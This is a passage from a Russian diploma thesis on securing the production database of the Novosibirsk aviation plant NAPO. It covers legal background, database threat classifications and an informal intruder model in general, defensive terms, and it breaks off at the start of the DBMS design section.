Построение защищенной базы данных предприятия

Построение защищенной базы данных предприятия

Введение

Информация является ресурсом, который как и любой иной бизнес-ресурс (финансы, оборудование, персонал) имеет для каждого предприятия определенную стоимость и подлежит защите. Обеспечение информационной безопасности заключается в защите информации от различных видов угроз с целью обеспечения нормального режима работы, успешного развития бизнеса, минимизации деловых рисков, обеспечения личной безопасности сотрудников предприятия.

Информация может быть представлена в различных формах. Она может быть напечатана или написана на бумаге, хранится в электронном виде, передаваться по почте или электронным способом, демонстрироваться в фильмах, видеозаписях, фотографиях, слайдах, а также быть высказана в разговорах. Вне зависимости от формы представления информации, в которой она хранится, обрабатывается или передается, информация должна быть должным образом защищена.

Комплексное обеспечение информационной безопасности заключается в сочетании:

-  конфиденциальности: предоставлении доступа к информации только авторизованным сотрудникам;

-       целостности: защиты от модификации или подмены информации;

-       доступности: гарантировании доступа к информации и информационным ресурсам, средствам информатизации авторизованным пользователям.

Информация, информационные ресурсы и средства информатизации подвергаются широкому спектру угроз, включая мошенничество, промышленный шпионаж, саботаж, вандализм, пожары, затопления и пр. Случаи ущерба в результате заражения компьютерными вирусами, внедрения программ-закладок, несанкционированного доступа и/или модификации конфиденциальной информации, атак типа «отказ в обслуживании» становятся все более частыми в деятельности предприятий.

Реализация угроз может нанести значительный ущерб и стать причиной существенных убытков, причиной снижения деловой активности, временного или полного прекращения деятельности. Для предотвращения реализации угроз предпринимаются меры, включая безусловное выполнения определенных политикой безопасности предприятия правил и процедур работы с информационной системой, использование средств защиты информации, контроль со стороны уполномоченных сотрудников за выполнением сотрудниками своих обязанностей по обеспечению информационной безопасности.

Новосибирское авиационное производственное объединение (НАПО), для нужд которого был разработан дипломный проект, сегодня является одним из крупнейших авиастроительных предприятий России и предлагает своим клиентам высококачественную продукцию и большой комплекс услуг. Объединение обеспечивает техническое сопровождение самолетов в течение всего жизненного цикла, в том числе поставку запасных частей, ремонт и модернизацию, обучение летного и технического персоналов. На предприятии выпускается большая номенклатура товаров народного потребления, инструментов и предлагается большой комплекс услуг. Также объединение включает авиакомпанию, которая занимается чартерной перевозкой пассажиров и грузов весом до 20т, в том числе скоропортящихся грузов, а также предоставляет любые услуги на вертолетах «Ми-8». Основная продукция НАПО - самолеты военного и гражданского назначения. Конструкторские разработки и вся информация НАПО обо всем жизненном цикле самолетов является государственной тайной и обсуждению в данной работе не подлежит.

С развитием информатизации и автоматизации деятельности ОАО «НАПО им. В.П.Чкалова», с увеличением объемов информации, обрабатываемой в информационной системе предприятия, одновременно, с увеличением степени важности информации и критичности выполнения информационно-вычислительных процессов требуется особое внимание к вопросам обеспечения информационной безопасности.

В соответствии с принятой на предприятии «Политикой информационной безопасности» и СТП 525.588-2004 «Система менеджмента качества» кроме информации, защите подлежат также средства информатизации - средства вычислительной техники, коммуникационное оборудование, программное обеспечение, автоматизированные системы ведения баз данных, а также информационно-вычислительные процессы - процессы передачи, обработки и хранения информации. Целью предпринимаемых мер по защите информации является обеспечение корректного и безопасного функционирования средств информатизации и установление ответственности за выполнение необходимых процедур.

Актуальность проблемы защиты баз данных в настоящее время не вызывает сомнения, так как информация в них хранимая и обрабатываемая может иметь исключительное значение для предприятия: это могут быть персональные данные сотрудников компании, информация о конструкторских разработках или информация о финансовой деятельности. А разглашение информации подобного рода будет не желательным для предприятия, так как это может подорвать его конкурентоспособность и репутацию.

Целью дипломного проекта является реализация эффективной защиты производственной базы данных ОАО «НАПО им. В.П.Чкалова».

Необходимость проведения настоящей работы вызвана отсутствием универсальных методических основ обеспечения защиты информации в современных условиях и отсутствием необходимых средств и методов защиты баз данных на предприятии.

В дипломном проекте рассмотрены следующие задачи:

·   выявление информационных потребностей, недостатков, проблем и угроз безопасности, специфичных для работы с базами данных;

·   выбор и обоснование проектных решений по устранению недостатков, проблем, нейтрализации угроз безопасности и удовлетворения потребностей;

·   внедрение средств защиты на уровне системы управления базами данных (далее СУБД);

·   разработка и введение в эксплуатацию защищенного клиент-серверного приложения;

·   рассмотрение применяемой на предприятии политики использования сетевых ресурсов;

·   раздел охраны труда;

·   организационно - экономическая часть проекта.

В данном дипломном проекте рассматриваемой СУБД является Microsoft SQL Server. Разработка приложения осуществляется с использованием технологий Microsoft (dot)NET, которая предполагает трехуровневую организацию: сервер данных (Microsoft SQL Server), сервер приложений (IIS 5.0 & .NET Framework 2.0) и web-клиент (IE 6.0). Кроме того, для формирования отчетов используется инструментальное программное обеспечение Crystal Reports 8.0.

Ориентируясь при рассмотрении вопросов информационной безопасности в основном на специфику конкретного предприятия, автор данного дипломного проекта, тем не менее, старался достичь максимального уровня общности приводимых результатов анализа и решений везде, где это было возможно.

1. Анализ вопроса защиты баз данных

.1 Постановка задачи и целесообразность защиты баз данных

Защита баз данных является одной из самых сложных задач, стоящих перед подразделениями, отвечающими за обеспечение информационной безопасности. С одной стороны, для работы с базой необходимо предоставлять доступ к данным всем сотрудникам, кто по долгу службы должен осуществлять сбор, обработку, хранение и передачу данных. С другой стороны, укрупнение баз данных далеко не всегда имеет централизованную архитектуру (наблюдается ярко выраженная тенденция к территориально распределенной системе), в связи с чем, действия нарушителей становятся все более изощренными. При этом четкой и ясной методики комплексного решения задачи защиты баз данных, которую можно было бы применять во всех случаях, не существует, в каждой конкретной ситуации приходится находить индивидуальный подход.

Сама по себе база данных - это структурированный набор постоянно хранимых данных, где постоянность означает, что данные не уничтожаются по завершении программы или пользовательского сеанса, в котором они были созданы[13, c.4]. Но данные, которые она хранит и обрабатывает могут составлять сведения, как общедоступного характера, так и конфиденциальную информацию, коммерческую тайну предприятия или сведения, относящиеся к государственной тайне. Поэтому защита баз данных представляет собой необходимое звено обеспечения информационной безопасности.

Долгое время защита баз данных ассоциировалась с защитой локальной сети предприятия от внешних атак на компьютерную сеть и борьбой с вирусами. Последние аналитические отчеты консалтинговых компаний выявили другие, более важные направления защиты информационных ресурсов компаний. Исследования показали, что от утечки информации со стороны персонала и злонамеренных действий привилегированных пользователей не спасают ни межсетевые экраны, ни виртуальные частные сети (VPN), ни даже системы обнаружения вторжений (IDS), ни системы анализа защищенности. Неавторизованный доступ к данным и утечка конфиденциальной информации являются главными составляющими потерь предприятий вместе с вирусными атаками и кражей портативного оборудования (по данным аналитических отчетов компании InfoWatch).

Предпосылками к утечке информации, содержащейся в базе данных являются :

·  многие даже не догадываются о том, что их базы данных крадут;

·        кража и причиненный ущерб имеют латентный характер;

·        если факт кражи данных установлен, большинство компаний замалчивают причиненный ущерб.

Причины такого положения следующие[9]:

·   Высокая латентность подобных преступлений (понесенные потери обнаруживаются спустя некоторое время) и достаточно редко раскрываются. Эксперты называют следующие цифры по сокрытию: США - 80%, Великобритания - до 85%, Германия - 75%, Россия - более 90%. Стремление руководства умолчать, с целью не дискредитировать свою организацию, усугубляет ситуацию.

·              Низкий интерес к разработке средств, ликвидирующих или уменьшающих риски, связанные с внутренними угрозами; недостаточная распространенность и популярность таких решений. В результате о средствах и методах защиты от кражи информации легальными сотрудниками знают немногие.

·              Недостаточное предложение на рынке комплексных систем для борьбы с внутренними угрозами, особенно в отношении краж информации из баз данных.

Однако эффективные способы защиты данных существуют даже в таких неблагоприятных условиях. Комплекс организационных, регламентирующих и административных и технических мер при правильном подходе позволяет существенно снизить риски утечки информации.

Задачами, которые в результате дипломного проектирования необходимо проработать будут: обеспечение защиты базы данных от кражи, взлома, уничтожения, распространения, что будет решено с помощью таких средств как обеспечения защищенного взаимодействия пользователей с базой данных, разработкой прозрачного для пользователей приложения. Защита должна включать в себя комплекс административных, процедурных, программно-технических способов и средств защиты.

Производственная база данных средств вычислительной техники выбрана не случайно, на это есть ряд объективных причин: значительное увеличение и динамично продолжающийся рост средств вычислительной техники на предприятии (тысячи единиц в год), дороговизна оборудования, большие затраты на приобретение (десятки миллионов рублей в год), их территориальное распределение по подразделениям предприятия, в том числе за пределы, разнородность применения (от средств и программного обеспечения конструкторских разработок до станков с числовым программным управлением). Поэтому потребность в детализации технических характеристик, техническом сопровождении и защите выбранной производственной базы данных обоснована.

.2 Российское законодательство в области защиты баз данных

Стремительное развитие информационных и коммуникационных технологий привело к тому, что повсюду в мире исключительное внимание стало уделяться правовому режиму защиты данных. Существующие механизмы защиты авторских прав, товарных знаков, патентов, программного обеспечения, баз данных на сегодняшний день, по-видимому, не в состоянии справиться с теми проблемами, с которыми сталкиваются повсюду в мире. Это становится особенно трудной задачей в условиях, когда сделать электронную копию файлов не представляет особого труда, нововведения и изобретения внедряются со скоростью света, а информация распространяется мгновенно и бесплатно. Каждая страна неизбежно сталкивается с весьма запутанными проблемами, и дело доходит до проведения международных, региональных или национальных реформ. При этом каждый раз необходимо формировать внутренние законы, регулирующие отношения в сфере защиты информации.

Законодательная база Российской Федерации в этой области строится на нескольких документах. Во-первых, сама базы данных является результатом творческой деятельности и защищается законами об авторском праве (закон 09.07.93 N 5351-1 "Об авторском праве и смежных правах"). Во-вторых, использование компьютерных базы данных и их распространение регламентируется законами о защите баз данных (закон от 23.09.92 N 3523-1 <file:///F:\Отечественная\Законы\1_16.htm> "О правовой охране программ для ЭВМ и баз данных"). В-третьих, федеральный закон от 27 июля 2006 г. № 149-ФЗ «Об информации, информационных технологиях и защите информации» ставит вне закона торговлю приватными базами данных, обеспечивает контроль над оборотом личных сведений граждан и требует от организаций обеспечить защиту персональных данных служащих и клиентов. И последнее, закон "О персональных данных» регулирует порядок обработки персональных данных и направлен на защиту баз данных. Отсюда следует вывод, что на государственном уровне вопрос защиты баз данных должным образом не проработан, не существует четкой методики защиты, поэтому только организация комплексной защиты на административном, процедурном, программно-техническом и законодательном уровнях смогут обеспечить необходимый уровень защищенности.

1.3 Структурные уровни и этапы построения защищенной базы данных

Классический взгляд на решение данной задачи включает обследование предприятия с целью выявления таких угроз, как хищения, утрата, уничтожение, модификация, дублирование, несанкционированный доступ. На втором этапе следует составление математических моделей основных информационных потоков и возможных нарушений, моделирование типовых действий злоумышленников; на третьем - выработка комплексных мер по пресечению и предупреждению возможных угроз с помощью правовых, организационно-административных и технических мер защиты. Однако разнообразие деятельности предприятий, структуры бизнеса, информационных сетей и потоков информации, прикладных систем и способов организации доступа к ним не позволяет создать универсальную методику решения и поставленного в ряде случаев на промышленные рельсы сбыта баз данных, содержащих персональные данные абонентов, клиентов или сотрудников и коммерческие тайны компаний.

Решения защиты данных не должны быть ограничены только рамками СУБД. Абсолютная защита данных практически не реализуема, поэтому обычно довольствуются относительной защитой информации - гарантированно защищают ее на тот период времени, пока несанкционированный доступ к ней влечет какие-либо последствия. Иногда дополнительная информация может быть запрошена из операционных систем, в окружении которых работают сервер баз данных и клиент, обращающийся к серверу баз данных.

Так как необходимо организовать защиту производственной базы данных, то при разработке проекта необходимо соблюсти принципы корпоративной работы предприятия: использование корпоративного сервисного программного обеспечения (далее ПО), единое информационное пространство, интеграция решаемых задач в разных подразделениях, автоматизация формализованных процессов, повышенные требования к информационной безопасности, ролевой доступ к данным.

Процесс построения защиты базы данных можно разделить на этапы

·   анализ предметной области и проектирование базы данных;

·              составление пользователей и разделение их обязанностей;

·              ввод данных;

·              анализ существующих угроз;

·              выработка модели нарушителя;

·              выработка подхода к построению защиты;

·              организация защиты средствами СУБД;

·              разработка защищенного приложения, работающего с базой данных;

·              защита сетевых ресурсов предприятия;

·              аудит.

В следующих главах будут подробно описано построение защищенной базы данных, следуя выделенным этапам. При этом все этапы защиты принято подразделять на структурные уровни. Защита базы данных должна быть обеспечена на трех уровнях взаимодействия пользователя с базой данных, приведенных на рисунке 1.1. Обычно выделяют:

·    первый уровень - уровень СУБД;

·              второй уровень - уровень приложения, с помощью которого происходит удаленное взаимодействие пользователя с базой данных;

·              третий уровень - уровень сетевых ресурсов.

Основная особенность СУБД - это наличие процедур для ввода и хранения данных и описания их структуры. СУБД должна предоставлять доступ к данным любым пользователям, включая и тех, которые практически не имеют и (или) не хотят иметь представления.

Рисунок 1.1 - Уровни взаимодействия пользователей с базой данных

·     физическом размещении в памяти данных и их описаний;

·              механизмах поиска запрашиваемых данных;

·              проблемах, возникающих при одновременном запросе одних и тех же данных многими пользователями (прикладными программами);

·              способах обеспечения защиты данных от некорректных обновлений и (или) несанкционированного доступа;

·              поддержании баз данных в актуальном состоянии.

Уровень приложения обеспечивает непосредственное взаимодействие пользователей, наделенных правами на первом уровне, с базой данных. При этом действия пользователя должны быть максимально автоматизированы и по возможности исключен некорректный ввод данных, должен быть разработан интуитивно понятный интерфейс.

Уровень сетевого взаимодействия обеспечивает повышение эффективности работы предприятия в целом, выполняет параллельную обработку данных, дает высокую отказоустойчивость, свойственную распределенному характеру сети, возможность совместного использования данных (в том числе и баз данных) и устройств.

Только защита всех трех выделенных уровней может гарантировать обеспечение необходимого уровня защищенности информации, соответствующего требованиям предприятия.

Выводы

Таким образом, задачей, стоящей перед автором дипломного проекта будет построение и внедрение защиты производственной базы данных на определенных автором уровнях: СУБД, приложения и сетевых ресурсах.

2. Угрозы безопасности баз данных

Одним из важнейших аспектов проблемы обеспечения безопасности компьютерных систем является определение, анализ и классификация возможных угроз безопасности. Перечень угроз, вероятность их реализации, а также модель нарушителя служат основой для проведения анализа риска и формулирования требований к системе защиты.

.1 Особенности современных автоматизированных систем как объекта защиты

Как показывает анализ, большинство современных автоматизированных систем обработки информации в общем случае представляет собой территориально распределенные системы интенсивно взаимодействующих (синхронизирующихся) между собой по данным (ресурсам) и управлению (событиям) локальных вычислительных сетей (ЛВС) и отдельных ЭВМ.

В распределенных АС возможны все "традиционные" для локально расположенных (централизованных) вычислительных систем способы несанкционированного вмешательства в их работу и доступа к информации. Кроме того, для них характерны и новые специфические каналы проникновения в систему и несанкционированного доступа к информации, наличие которых объясняется целым рядом их особенностей.

Перечислим основные из особенностей распределенных АС:

1 территориальная разнесенность компонентов системы и наличие интенсивного обмена информацией между ними;

2 широкий спектр используемых способов представления, хранения и передачи информации;

3 интеграция данных различного назначения, принадлежащих различным субъектам, в рамках единых баз данных и, наоборот, размещение необходимых некоторым субъектам данных в различных удаленных узлах сети;

4 абстрагирование владельцев данных от физических структур и места размещения данных;

5 использование режимов распределенной обработки данных;

6 участие в процессе автоматизированной обработки информации большого количества пользователей и персонала различных категорий;

7 непосредственный и одновременный доступ к ресурсам (в том числе и информационным) большого числа пользователей (субъектов) различных категорий;

8 высокая степень разнородности используемых средств вычислительной техники и связи, а также их программного обеспечения;

9 отсутствие специальной аппаратной поддержки средств защиты в большинстве типов технических средств, широко используемых в автоматизированных системах.

.2 Уязвимость основных структурно-функциональных элементов

В общем случае АС состоят из следующих основных структурно-функциональных элементов:

10рабочих станций - отдельных ЭВМ или удаленных терминалов сети, на которых реализуются автоматизированные рабочие места пользователей;

11серверов (служб файлов, баз данных) высокопроизводительных ЭВМ, предназначенных для реализации функций хранения, печати данных, обслуживания рабочих станций сети действий;

12межсетевых мостов (шлюзов, центров коммутации пакетов, коммуникационных ЭВМ) - элементов, обеспечивающих соединение нескольких сетей передачи данных, либо нескольких сегментов одной и той же сети, имеющих различные протоколы взаимодействия;

13каналов связи (локальных, телефонных, с узлами коммутации и т.д.).

Рабочие станции являются наиболее доступными компонентами сетей и именно с них могут быть предприняты наиболее многочисленные попытки совершения несанкционированных действий. С рабочих станций осуществляется управление процессами обработки информации, запуск программ, ввод и корректировка данных, на дисках рабочих станций могут размещаться важные данные и программы обработки. На мониторы и печатающие устройства рабочих станций выводится информация при работе пользователей (операторов), выполняющих различные функции и имеющих разные полномочия по доступу к данным и другим ресурсам системы. Именно поэтому рабочие станции должны быть надежно защищены от доступа посторонних лиц и содержать средства разграничения доступа к ресурсам со стороны законных пользователей, имеющих разные полномочия. Кроме того, средства защиты должны предотвращать нарушения нормальной настройки рабочих станций и режимов их функционирования, вызванные неумышленным вмешательством неопытных (невнимательных) пользователей.

Каналы и средства связи также нуждаются в защите. В силу большой пространственной протяженности линий связи (через неконтролируемую или слабо контролируемую территорию) практически всегда существует возможность подключения к ним, либо вмешательства в процесс передачи данных. Возможные при этом угрозы подробно изложены в главе 2.3.

.3 Угрозы безопасности БД и субъектов информационных отношений

Угроза - это потенциальная возможность определенным образом нарушить информационную безопасность. Представление о возможных угрозах и об уязвимых местах, которые эти угрозы используют, дает возможность выбрать наиболее экономичные средства обеспечения безопасности, чтобы не допустить перерасхода средств, не допустить концентрации ресурсов там, где они не особенно нужны, за счет ослабления действительно уязвимых мест.

Угрозой интересам субъектов информационных отношений будем называть потенциально возможное событие, процесс или явление, которое посредством воздействия на информацию или другие компоненты АС может прямо или косвенно привести к нанесению ущерба интересам данных субъектов.

В силу особенностей современных АС, перечисленных выше, существует значительное число различных видов угроз безопасности субъектов информационных отношений.

В настоящей работе предпринята попытка возможно более полного охвата угроз безопасности, специфичных для баз данных. Однако следует иметь ввиду, что научно-технический прогресс может привести к появлению принципиально новых видов угроз и что изощренный ум злоумышленника способен придумать новые способы преодоления систем безопасности, НСД к данным и дезорганизации работы АС.

Главный источник угроз, специфичных для СУБД, лежит в самой природе баз данных. Основным средством взаимодействия с СУБД является язык SQL - мощный непроцедурный инструмент определения и манипулирования данными. Хранимые процедуры добавляют к этому репертуару управляющие конструкции. Механизм правил дает возможность выстраивать сложные, трудные для анализа цепочки действий, позволяя попутно неявным образом передавать право на выполнение процедур, даже не имея, строго говоря, полномочий на это. В результате потенциальный злоумышленник получает в свои руки мощный и удобный инструментарий, а все развитие СУБД направлено на то, чтобы сделать этот инструментарий еще мощнее и удобнее.

За последнее время самым опасным местом сети, откуда постоянно может действовать потенциальный злоумышленник, стала всемирная глобальная сеть Internet, и для баз данных атаки подобного рода не явились исключением. Но в рамках дипломного проекта это рассмотрено не будет, так как решение защиты базы данных разрабатывалось под конкретное предприятие, на котором политика безопасности предприятия предусматривает отказ от использования ресурсов Internet в рамках локальной сети предприятия. Internet предусмотрен только на выделенных персональных локальных машинах, доступ которых к сетевым ресурсам не обеспечен (автономно работают, без подключения к локальной сети).

Проведем анализ мест утечки информации (уязвимые места или потенциальные угрозы):

1. человеческий фактор (пользователь);

.   тиражирование данных;

3.      хищение базы данных, уничтожение базы данных;

.        перехват сетевого трафика;

.        съем информации с ленты принтера, плохо стертых дискет, устройствах, предназначенных для содержания резервных данных;

.        хищение носителей информации, предназначенных для содержания резервных данных;

.        программно-аппаратные закладки в ПЭВМ;

.        компьютерные вирусы, логические бомбы;

.        нарушение работоспособности сети предприятия;

.        производственные и технологические отходы;

11.    обслуживающий персонал;

.   съем информации с использованием видео-закладок, фотографирующих средств, дистанционный съем видео информации;

.   стихийные бедствия;

14.    форс-мажорные обстоятельства.

По сути дела, уязвимое место - это, буквально, любое место сети, начиная от сетевого кабеля, который могут прогрызть мыши, заканчивая базой данных или файлами, которые могут быть разрушены действиями пользователя.

Следует не забывать, что новые уязвимые места и средства их использования появляются постоянно; то есть, во-первых, почти всегда существует опасность, во-вторых, отслеживание таких опасностей должно проводиться постоянно. То есть необходимо постоянно отслеживать появление новых уязвимых мест и пытаться их устранить. Также не стоит упускать из вида и то, что уязвимые места притягивают к себе не только злоумышленников, но и сравнительно честных людей. Не всякий устоит перед искушением увеличить зарплату, имея уверенность, что он останется безнаказанным.

Теперь рассмотрим угрозы, учитывая базовые задачи обеспечения защиты.

Распределим угрозы на угрозу конфиденциальности, целостности и доступности.

. Угроза раскрытия конфиденциальности:

· перехват данных;

·              хранение данных на резервных носителях;

·              методы морально-психологического воздействия;

·              злоупотребление полномочиями;

·              выставки или ярмарки, выставляющие на всеобщее обозрение передовые разработки или производственные образцы, на которых могут остаться данные о системе;

·              утечка и преднамеренный сбор информации:

· об объекте и предприятии, к которому он принадлежит;

· о лицах, работающих или присутствующих на объекте;

·              о хранимых ценностях и имуществе;

·              о прочих предметах, являющихся потенциальными целями преступного посягательства.

·      иные угрозы

2. Угроза нарушения целостности:

·      нарушение статической целостности

·              ввод неверных данных, программ;

·              изменение данных, программ;

·              нарушение целостности кабельного хозяйства;

·              нарушение динамической целостности

·      дублирование данных;

·              кража;

·              переупорядочивание данных;

·              нарушение последовательности операций.

Немаловажной является угроза дублирования, то есть избыточности данных, обеспеченной мерами резервного копирования, хранением копий в нескольких местах, представлением информации в разных видах (на бумаге и в файлах).

. Угроза отказа в доступности:

·      непреднамеренные ошибки пользователей, операторов, системных администраторов заключаются в безграмотности и небрежности в работе (неправильно введенные данные, ошибка в программе, вызвавшая сбой системы)

·      внутренний отказ информационной системы:

·      разрушение данных;

·              разрушение или повреждение аппаратных средств;

·              отказы программного обеспечения;

·              отступление (случайное или умышленное) от установленных правил эксплуатации;

·              выход системы из штатного режима эксплуатации в силу случайных или преднамеренных действий пользователей или обслуживающего персонала (превышение расчетного числа запросов, чрезмерный объем обрабатываемой информации);

·              ошибки при (пере) конфигурировании системы;

·              технические неисправности/отказ аппаратуры.

Отказ любого элемента инженерной инфраструктуры может привести к частичному или полному прекращению работы объекта в целом. Кроме того, неправильная работа или отказ одних устройств может вызвать повреждение других. Например, если в зимних условиях отключается электропитание насосов, перекачивающих воду в системе отопления, то через некоторое время вода, застоявшаяся в трубах, охладится до точки замерзания и разорвет их.

·      отказ пользователей:

·      нежелание работать с информационной системой(чаще всего проявляется при необходимости осваивать новые возможности и при расхождении между запросами пользователей и фактическими возможностями и техническими характеристиками);

·              невозможность работать с системой в силу отсутствия соответствующей подготовки (недостаток «компьютерной грамотности», неумение работать с документацией);

·              невозможность работать с системой в силу отсутствия технической поддержки (неполнота документации, недостаток справочной информации).

·      отказ поддерживающей инфраструктуры:

·      нарушение работы (случайное или умышленное) систем связи, электропитания, водо- и/или теплоснабжения, кондиционирования;

·        разрушение или повреждение помещений;

·              невозможность или нежелание обслуживающего персонала и/или пользователей выполнять свои обязанности (гражданские беспорядки, аварии на транспорте, террористический акт или его угроза, забастовка);

·              "обиженные" сотрудники - нынешние и бывшие;

·              сюда же можно отнести и стихийные бедствия или события, воспринимаемые как стихийные бедствия (пожары, наводнения, землетрясения, ураганы), так как они ведут за собой отказ поддерживающей инфраструктуры.

Любое устройство, питающееся электроэнергией или использующее топливо, может при неправильном функционировании самовозгореться. Также следует учитывать возможности аварии трубопроводов газа, воды (в том числе теплоцентрали - горячая вода под высоким давлением может нанести ущерб не меньший, чем огонь) и конструкций здания (редко, но бывает).

Не стоит исключать из числа угроз и несчастные случаи, как специфически связанные с работой на объекте, так и общего характера. Все объекты подвержены влиянию стихийных сил. Для любого места расположения объекта обычно доступны усредненные данные о погодных условиях и максимальных значениях скорости ветра, уровня паводка. Учет природных факторов должен проводиться двояко: как угроз объекту защиты в целом и как условий, даже в случае крайних значений которых должно быть обеспечено функционирование.

Следующим этапом будет выработка неформальной модели нарушителя, которая

позволит выявить круг лиц, потенциально способных нарушить нормальное функционирование системы.

.4 Неформальная модель нарушителя

Нарушитель - это лицо, предпринявшее попытку выполнения запрещенных операций (действий) по ошибке, незнанию или осознанно со злым умыслом (из корыстных интересов) или без такового (ради игры или удовольствия, с целью самоутверждения) и использующее для этого различные возможности, методы и средства.

Злоумышленником будем называть нарушителя, намеренно идущего на нарушение из корыстных побуждений.

Неформальная модель нарушителя отражает его практические и теоретические возможности, априорные знания, время и место действия. Для достижения своих целей нарушитель должен приложить некоторые усилия, затратить определенные ресурсы. Исследовав причины нарушений, можно либо повлиять на сами эти причины (конечно если это возможно), либо точнее определить требования к системе защиты от данного вида нарушений или преступлений.

При разработке модели нарушителя определяются:

·   предположения о категориях лиц, к которым может принадлежать нарушитель;

·              предположения о мотивах действий нарушителя (преследуемых нарушителем целях);

·              предположения о квалификации нарушителя и его технической оснащенности (об используемых для совершения нарушения методах и средствах);

·              ограничения и предположения о характере возможных действий нарушителей.

Выделим возможные попытки нарушения работы системы путем как нелегального проникновения в систему под видом пользователя, так и проникновения путем физического контакта, например, подсоединение к кабелю, то есть, опираясь на возможные нарушения режима безопасности, выделим модели самих нарушителей. Для чего проведем классификации возможных нарушителей:

1) по принадлежности к системе:

·  зарегистрированный пользователь, т.е. сотрудник фирмы

·              незарегистрированный пользователь, т.е. лицо, не причастное к работе фирмы;

·              обиженные" сотрудники - нынешние и бывшие знакомы с порядками в организации и способны нанести немалый ущерб;

·              совместно, состоя в сговоре;

2) по степени случайности или наличию умысла:

·   без умысла (халатность, неосторожность, небрежность или незнание);

·              со злым умыслом, то есть продуманно;

3) по мотиву:

·   безответственность: пользователь целенаправленно или случайно производит какие-либо разрушающие действия, не связанные со злым умыслом, в большинстве случаев это следствие некомпетентности или небрежности;

·              самоутверждение: некоторые пользователи считают получение доступа к системным наборам данных крупным успехом, затевая своего рода игру "пользователь - против системы" ради самоутверждения либо в собственных глазах, либо в глазах коллег;

·              корыстный интерес: в этом случае нарушитель будет целенаправленно пытаться преодолеть систему защиты для доступа к хранимой, передаваемой и обрабатываемой информации, даже если АС имеет средства, делающие такое проникновение чрезвычайно сложным, полностью защитить ее от проникновения практически невозможно.

4) по задаче внедрения:

·     изменение или разрушение программ, данных;

·              внедрение другого вредоносного ПО;

·              получение контроля над системой;

·              агрессивное потребление ресурсов;

5) по уровню знаний:

·     знает функциональные особенности , основные закономерности формирования в ней массивов данных и потоков запросов к ним, умеет пользоваться штатными средствами;

·              обладает высоким уровнем знаний и опытом работы с техническими средствами системы и их обслуживания;

·              обладает высоким уровнем знаний в области программирования и вычислительной техники, проектирования и эксплуатации автоматизированных информационных систем;

·              знает структуру, функции и механизм действия средств защиты, их сильные и слабые стороны.

6) по виду доступа:

·     программный (н-р, закладки);

·     физический (н-р, подсоединение к кабелю, подключение внешних устройств);

·              совместный;

7) по уровню возможностей (используемым методам и средствам):

·     применяющий чисто агентурные методы получения сведений;

·              применяющий пассивные средства (технические средства перехвата без модификации компонентов системы);

·     использующий только штатные средства и недостатки систем защиты для ее преодоления (несанкционированные действия с использованием разрешенных средств), а также компактные магнитные носители информации, которые могут быть скрытно пронесены через посты охраны;

·              применяющий методы и средства активного воздействия (модификация и подключение дополнительных технических средств, подключение к каналам передачи данных, внедрение программных закладок и использование специальных инструментальных и технологических программ).

8)  по месту действия:

·       без доступа на контролируемую территорию организации;

·              с контролируемой территории без доступа в здания и сооружения;

·              внутри помещений, но без доступа к техническим средствам АС;

·              с рабочих мест конечных пользователей (операторов) АС;

·              с доступом в зону данных (баз данных, архивов);

·              с доступом в зону управления средствами обеспечения безопасности АС;

9)   по последствиям:

·       не серьезные, которые просто показали уязвимость;

·              средние;

·              серьезные;

·              сверхсерьезные;

). по компонентам информационной системы, на которые нацелены:

·       информация

·              программы и данные

·              аппаратура;

·              документация;

·              поддерживающая инфраструктура;

10)    . по времени действия:

·        в процессе функционирования АС (во время работы компонентов системы);

·              в период неактивности компонентов системы (в нерабочее время, во время плановых перерывов в ее работе, перерывов для обслуживания и ремонта);

·              как в процессе функционирования АС, так и в период неактивности компонентов системы;

11). по характеру действий нарушителей:

·     работа по подбору кадров и специальные мероприятия затрудняют возможность создания коалиций нарушителей, т.е. объединения (сговора) и целенаправленных действий по преодолению подсистемы защиты двух и более нарушителей;

·              нарушитель, планируя попытки НСД, скрывает свои несанкционированные действия от других сотрудников;

·              НСД может быть следствием ошибок пользователей, администраторов, эксплуатирующего и обслуживающего персонала, а также недостатков принятой технологии обработки информации и т.д.

Определение конкретных значений характеристик возможных нарушителей в значительной степени субъективно.

Модель нарушителя, построенная с учетом особенностей конкретной предметной области и технологии обработки информации, может быть представлена перечислением нескольких вариантов его облика. Каждый вид нарушителя должен быть охарактеризован значениями характеристик, приведенных выше.

.5 Политика безопасности предприятия

Политика безопасности - совокупность документированных управленческих решений, направленных на защиту информации и ассоциированных с ней ресурсов. Представляет собой официальную линию руководства, направленную на реализацию комплекса мероприятий по основным направлениям обеспечения информационной безопасности предприятия.

Главной целью ее является четкое описание технологии обеспечения информационной безопасности на предприятии и реализация функций должностных лиц.

Политика безопасности предприятия ОАО «НАПО им. В.П.Чкалова» прописана в одноименном документе «Политика информационной безопасности предприятия» и является обязательной для исполнения сотрудниками предприятия. Политика информационной безопасности разработана на основе требований законодательства Российской Федерации в области информационной безопасности и защиты информации, а также рекомендаций стандарта ISO/IEC 17799-2000.В документе определяется ответственность сотрудников за реализацию соответствующих положений и разделов политики.

Выводы

Специфика баз данных, с точки зрения их уязвимости, связана в основном с наличием интенсивного взаимодействия между самой базой данных и элементом системы, находящимся с ней в структурно-функциональной взаимосвязи.

Уязвимыми являются все основные элементы, сопровождающие полноценную работу базы данных: файлы базы данных, СУБД, клиент-серверное приложение, сервер базы данных, сервер приложения, локальная сеть предприятия.

Защищать эти компоненты необходимо от всех видов воздействий: стихийных бедствий и аварий, сбоев и отказов технических средств, ошибок персонала и пользователей, ошибок в программах и от преднамеренных действий злоумышленников.

Имеется широчайший спектр вариантов путей преднамеренного или случайного несанкционированного доступа к данным и вмешательства в процессы обработки и обмена информацией (в том числе, управляющей согласованным функционированием различных компонентов сети и разграничением ответственности за преобразование и дальнейшую передачу информации).

Правильно построенная (адекватная реальности) модель нарушителя, в которой отражаются его практические и теоретические возможности, априорные знания, время и место действия и т.п. характеристики - важная составляющая успешного проведения анализа риска и определения требований к составу и характеристикам системы защиты.

3. Защита со стороны СУБД

Одним из необходимых уровней реализации защиты базы данных является защита базы данных со стороны СУБД (рисунок 2), с помощью которого она организована. В данном дипломном проекте рассматриваемой СУБД является Microsoft SQL Server (сокращенно и далее MS SQL Server).

Рисунок 3.1 - Уровни защиты базы данных

.1 Проектирование базы данных

Естественно, что защита база данных должна быть продумана еще на этапе проектирования. Но на практике пришлось реализовать защиту уже рабочей базы, поэтому этап проектирования не будет рассматриваться подробно автором.

Современные крупные проекты информационных систем характеризуются, как правило, следующими особенностями [38, с.6]:

·        сложность описания (достаточно большое количество функций, процессов, элементов данных и сложные взаимосвязи между ними), требующая тщательного моделирования и анализа данных и процессов;

